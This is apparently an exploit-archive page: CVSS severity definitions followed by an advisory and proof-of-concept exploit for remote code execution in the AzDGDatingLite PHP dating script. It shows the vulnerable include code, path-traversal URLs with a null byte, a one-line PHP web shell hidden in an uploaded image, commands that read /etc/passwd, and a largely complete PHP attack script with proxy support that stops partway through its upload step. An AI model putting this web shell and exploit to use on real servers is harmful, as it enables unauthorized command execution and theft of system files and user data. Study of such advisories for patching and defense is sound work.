The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
AzDGDatingLite V 2.1.3 (possibly prior versions) remote code execution
(not yet tested the Platinum version)
software:
site: http://www.azdg.com/
download page: http://www.azdg.com/scripts.php?l=english
description:" AzDGDatingLite is a Free dating script working on PHP and MySQL.
Multilanguage, Multitemplate, quick/simple search, feedback with webmaster, Admin maillist,
Very customizable " etc.
vulnerability:
look at the vulnerable code in ./include/security.inc.php at lines ~80-90
...
else
{
if (isset($l) && file_exists(C_PATH.'/languages/'.$l.'/'.$l.'.php') && $l != '')
{
include_once C_PATH.'/languages/'.$l.'/'.$l.'.php';
include_once C_PATH.'/languages/'.$l.'/'.$l.'_.php';
}
...
you can include arbitrary file on the server using "../" and null byte (%00) (to truncate path to
the filename you choose), example:
http://[target]/[path]/azdg//include/security.inc.php?l=../../../../../.
./../[filename.ext]%00
at the begin of the script we have:
@ob_start();
look at the php ob_ start man page :
"This function will turn output buffering on. While output buffering is active no output is
sent from the script (other than headers), instead the output is stored in an internal buffer."
However, this is not a secure way to protect a script:
buffer is never showned, so you cannot see arbitrary file from the target machine this time ... but
you can execute arbirtrary commands and after to see any file :) :
when you register to azdg you can upload photos, so you can upload and include a gif or jpeg file like this:
<?php error_reporting(0); system($HTTP_GET_VARS[cmd].' > temp.txt'); ?>
usually photos are uploaded to ./members/uploads/[subdir]/[newfilename].[ext]
azdg calculates [subdir] & [newfilename] using date(), time() and rand() functions
you cannot calculate but you can retrieve the filename from azdg pages when file
is showned on screen (!), so you can do this:
http://[target]/[path]/azdg//include/security.inc.php?l=../../../members
/uploads/[subdir]/[filename.ext]%00&cmd=cat%20/etc/passwd
the output will be redirected to ./include/temp.txt
so you make a GET request of this file and you have /etc/passwd file
this is my proof of concept exploit:
<?php
# azdgexpl.php #
# #
# AzDGDatingLite V 2.1.3 ( possibly prior versions) remote code execution #
# with generic http proxy support #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then #
# go! #
# #
# Sun-tzu: "Therefore, I say: Know your enemy and know yourself; in a #
# hundred battles, you will never be defeated. When you are ignorant #
# of the enemy but know yourself, your chances of winning or losing #
# are equal. If ignorant both of your enemy and of yourself, you are #
# sure to be defeated in every battle." #
# #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<head><title>AzDGDatingLite V 2.1.3 remote commands execution</title><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> AzDGDatingLi
te V 2.1.3 (possibly prior versions) remote commands execution</p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&uploaddir=value"> <p> <input type=
"text" name="host"><span class="Stile5">hostname (ex: www.sitename.com) </span>
</p><p><input type="text" name="path"><span class="Stile5"> path (ex: /azdg/ or
just /) </span></p><p><input type="text" name="port" > <span class="Stile5">
specify a port other than 80 (default value) </span></p><p> <input type="text"
name="command"> <span class="Stile5"> a Unix command , example: ls -la to list
directories, cat /etc/passwd to show passwd file </span></p><p><input type="text
" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:por
t</span></p> <p> <input type="submit"name="Submit" value="go!"></p></form></td>
</tr></table></body></html>';
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
# step 1 -> register and upload the evil jpeg file
srand(make_seed());
$anumber=rand(10000,99999);
//do not modify absolutely CRLF and spaces here...
$data='-----------------------------23281168279961
Content-Disposition: form-data; name="l"
default
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